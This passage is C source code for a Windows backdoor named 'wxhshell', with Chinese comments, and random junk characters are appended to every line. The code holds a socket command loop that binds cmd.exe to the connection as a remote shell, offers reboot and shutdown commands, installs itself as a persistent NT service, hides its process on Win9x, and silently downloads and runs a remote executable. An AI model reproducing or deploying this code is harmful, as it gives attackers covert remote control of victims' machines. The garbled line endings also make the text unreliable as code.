  Uc9hv?  
  // 帮助 Nz>xilU'  
  case '?': { MIY`"h0*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]JQ}9"p=5  
    break; kTA4!654  
  } 5a|{ytP   
  // 安装 i,2eoM)FB  
  case 'i': { LKgo(&mY  
    if(Install()) U#`2~Qv/1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w\a6ga!xt"  
    else `SQobH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [I gqK5@  
    break; NInZ~4:  
    } y1B' _s  
  // 卸载 gOr%N!5  
  case 'r': { =7F?'&LC  
    if(Uninstall()) |3g'~E?$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <8^ws90Y  
    else y?Pw6;e.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4'"WD0  
    break; +zK?1llt  
    } vXg^K}a#  
  // 显示 wxhshell 所在路径 X|C=Q   
  case 'p': { \f7R^;`_<R  
    char svExeFile[MAX_PATH]; x,HD,VQR/  
    strcpy(svExeFile,"\n\r");  r}}2 Kl  
      strcat(svExeFile,ExeFile); P 1  
        send(wsh,svExeFile,strlen(svExeFile),0); #'n.az=1  
    break; v8zOY#?  
    } Rm`P.;%  
  // 重启 _w2%!+'  
  case 'b': { :<HLw.4O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j /@<=  
    if(Boot(REBOOT)) i(kx'ua?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^oR qu  
    else { J> "qeR /  
    closesocket(wsh); *BvdL:t  
    ExitThread(0); y;_F[m  
    } JvNd'u)Z<  
    break; 39I|.B"  
    } n2|@Hz_  
  // 关机 "{kE#`c6<n  
  case 'd': { o#WECs>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P=7X+}@  
    if(Boot(SHUTDOWN)) 6n~)R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N`4XlD  
    else { ia,5=SKJ  
    closesocket(wsh); Yj'"Wg  
    ExitThread(0); ^]Q.V  
    } n5)ml)m  
    break; KpDb%j  
    } U.h2 (-p  
  // 获取shell :yTr:FoF  
  case 's': { |nm}E_  
    CmdShell(wsh); h50]%tp\  
    closesocket(wsh); &PMfAo^  
    ExitThread(0); d c/^  
    break; #XG3{MGX[  
  } 1K(mdL{m5  
  // 退出 0|C !n+OK  
  case 'x': { d[  _@l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'z{|#zd9  
    CloseIt(wsh); r4<As`&  
    break; Q [C26U  
    } |'I>Ojm  
  // 离开 j\zlp  
  case 'q': { |Y?<58[!)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dp&G([  
    closesocket(wsh); %3AE2"  
    WSACleanup(); i7cUp3  
    exit(1); r;"D>IM\  
    break; 4O.R=c2}7>  
        } |MagK$o  
  } [9V}>kS)  
  } 8 nL9#b  
dQ _4aO  
  // 提示信息 <Q"G aqZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sI h5cT  
} u&[L!w  
  } 7U?#Xi5  
iOSt=-p  
  return; `'>~(8&zE  
} "6U@e0ht  
uPapINj  
// shell模块句柄 Hc[@c)DH  
int CmdShell(SOCKET sock) ^fH)E"qq5  
{ ;#S]mso1  
STARTUPINFO si; t;/uRN*.  
ZeroMemory(&si,sizeof(si)); jSH.e?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JtsXMZz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !]Qk?T~9-  
PROCESS_INFORMATION ProcessInfo; %NJ0 Y(:9(  
char cmdline[]="cmd"; q@O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i*$~uuY  
  return 0; q5JQx**g  
} uv8k ea .(  
@YQ*a4`  
// 自身启动模式 /#SfgcDt  
int StartFromService(void) 1]5k l J  
{ 8F[ ;ma>Z8  
typedef struct :uB?h1|  
{ x?lRObHK  
  DWORD ExitStatus; /$]S'[5uF  
  DWORD PebBaseAddress; <DPRQhNW]  
  DWORD AffinityMask; " C&>$h_%  
  DWORD BasePriority; }{j@q~w>$  
  ULONG UniqueProcessId; r@]`#PL  
  ULONG InheritedFromUniqueProcessId; d>W#c8X>  
}   PROCESS_BASIC_INFORMATION; K3`!0(  
SZLugyZ2Y  
PROCNTQSIP NtQueryInformationProcess; (*=>YE'V{  
g6aqsa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; doe3V-if  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !lL `L \  
q :~/2<o  
  HANDLE             hProcess; /kK!xe  
  PROCESS_BASIC_INFORMATION pbi; lMh>eX  
s]6;*mI2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9}a$0H h  
  if(NULL == hInst ) return 0; vnVT0)Lel  
` - P1Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J$5 G8<d>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8>LDo"<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zh0T3U0D  
F[%k ;aJ  
  if (!NtQueryInformationProcess) return 0; FXn98UFY  
_?cum ~A@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  <82&F  
  if(!hProcess) return 0; r-xP 6  
^'M^0'_"v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?X{NARt  
cF=WhP*f  
  CloseHandle(hProcess); 7B\NP`l  
xyM|q9Gf@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _->+Hjj ^  
if(hProcess==NULL) return 0; r)Lm| S  
u kZK*Y9P  
HMODULE hMod; <]KQ$8dtD  
char procName[255]; BY[7`@  
unsigned long cbNeeded; Iy4%,8C]g  
|39,n~"o&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l4U*Lv>   
[xrsa!$   
  CloseHandle(hProcess); [ 't.x=  
ENr#3+m$;  
if(strstr(procName,"services")) return 1; // 以服务启动 l4r >#n\yj  
PH:5  
  return 0; // 注册表启动 y9/nkF1p  
} ,.V<rDwN&  
w:deQ:k  
// 主模块 Pp8G2|bz  
int StartWxhshell(LPSTR lpCmdLine) F7*)u-4Yn  
{ /@1YlxKF  
  SOCKET wsl; 0x5Ax=ut  
BOOL val=TRUE; [?9 `x-Q  
  int port=0; )fIG4#%\  
  struct sockaddr_in door; LS9,:!$  
! M CV@5$  
  if(wscfg.ws_autoins) Install(); n-jPb064  
aZ_3@I{d`  
port=atoi(lpCmdLine); P;z\vq<h  
FNF`Z  
if(port<=0) port=wscfg.ws_port; =$gBWS  
P/1YN  
  WSADATA data; = <Sn&uL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hI*v )c  
'fb\t,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =:w,wI.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]jVE  
  door.sin_family = AF_INET; _L~ 3h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &uO-h  
  door.sin_port = htons(port); 5m0lk|`  
%} zkmEY.e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .(cpYKFX  
closesocket(wsl); 8/tB?j  
return 1; j_}:=3  
} E8#aE\'t  
\rxjvV4fcZ  
  if(listen(wsl,2) == INVALID_SOCKET) { ^(C4Q?[2m  
closesocket(wsl); S g1[p#U  
return 1; (T pnJq  
} fu~iF  
  Wxhshell(wsl); H{5,  -x  
  WSACleanup(); ~? aFc)  
F5cN F 5  
return 0; @Z'i7Z  
A_U=`M=-  
} 'R-\6;3E>9  
tR<#CCtRp'  
// 以NT服务方式启动 U n)Xe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [efU)O&  
{ sBI/`dGZV  
DWORD   status = 0; 08^f|K  
  DWORD   specificError = 0xfffffff; +3zQ"lLD^  
EFVZAY"+!;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d{NMG)`x\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mCg^Y)Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qu'#~#L`  
  serviceStatus.dwWin32ExitCode     = 0; 5ta;CG  
  serviceStatus.dwServiceSpecificExitCode = 0; aL&egM*  
  serviceStatus.dwCheckPoint       = 0; P#!g P3  
  serviceStatus.dwWaitHint       = 0; H6K8.  
7.G"U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "wZvr}xk  
  if (hServiceStatusHandle==0) return; u5rvrn ]  
yZp/P%y  
status = GetLastError(); %Ul,9qG+  
  if (status!=NO_ERROR) -:=m-3*Tg  
{ .K4)#oC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Il) tH  
    serviceStatus.dwCheckPoint       = 0; EMr|#}]#s  
    serviceStatus.dwWaitHint       = 0; d\3 %5Y  
    serviceStatus.dwWin32ExitCode     = status; 0 !%G #~th  
    serviceStatus.dwServiceSpecificExitCode = specificError; -U$;\1--  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F`e E*&  
    return; "eTALRL'o  
  } \/ri|fm6l#  
.7Yox1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G+2fmVB*X  
  serviceStatus.dwCheckPoint       = 0; l{^s4  
  serviceStatus.dwWaitHint       = 0; f &NX~(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  ^ b5+A6?  
} o58c!44  
kUGFg{"  
// 处理NT服务事件,比如:启动、停止 GL9'dL|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ici4y*`M  
{ a"O;DYh  
switch(fdwControl) b5%<},ySq  
{ {y5 L  
case SERVICE_CONTROL_STOP: eF7I 5k4  
  serviceStatus.dwWin32ExitCode = 0; 9L-jlAo<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :'q$emtY  
  serviceStatus.dwCheckPoint   = 0; *v8daF  
  serviceStatus.dwWaitHint     = 0; z8kebS&5  
  { dJrUcZBr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qo \9,<  
  } s 8K.A~5 w  
  return; '/loJz 1  
case SERVICE_CONTROL_PAUSE: vA6onYjA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jFKp~`/#  
  break; AH'3 5Kf)  
case SERVICE_CONTROL_CONTINUE: s}UJv\*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]3 GO_tL  
  break; $f+I#uJ  
case SERVICE_CONTROL_INTERROGATE: T)q Uf H  
  break; /|&4&$  
}; SQ+r'g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=y&}3om(0  
} 8[AU`F8W  
\AoqOC2u  
// 标准应用程序主函数 "D4% A!i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q6sb;?I  
{ hRB?NM  
f9y+-GhaD  
// 获取操作系统版本 r.Z g<T  
OsIsNt=GetOsVer(); 5"1wz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H13\8Te{  
u+6D|  
  // 从命令行安装 T <k;^iqR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2g_mQT  
aEa+?6;D  
  // 下载执行文件 726UO#*  
if(wscfg.ws_downexe) { D(<0tU^[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8a8D0}'  
  WinExec(wscfg.ws_filenam,SW_HIDE); v}AjW%rB  
} 8vR'<_>Q  
SS _6VE*sI  
if(!OsIsNt) { ^PJN$BJx  
// 如果时win9x,隐藏进程并且设置为注册表启动 )~"0d;6_  
HideProc(); HFyQ$pbBU  
StartWxhshell(lpCmdLine); G8?Do+[  
} l(F\5Ys  
else +`mI\+y,  
  if(StartFromService()) ",Mrdxn7  
  // 以服务方式启动 grkA2%N  
  StartServiceCtrlDispatcher(DispatchTable); @ %q>Jd  
else /yx)_x{  
  // 普通方式启动 Hdd3n 6*  
  StartWxhshell(lpCmdLine); DVg$rm`  
%`lJAW[  
return 0; cud9oJ-=;  
}
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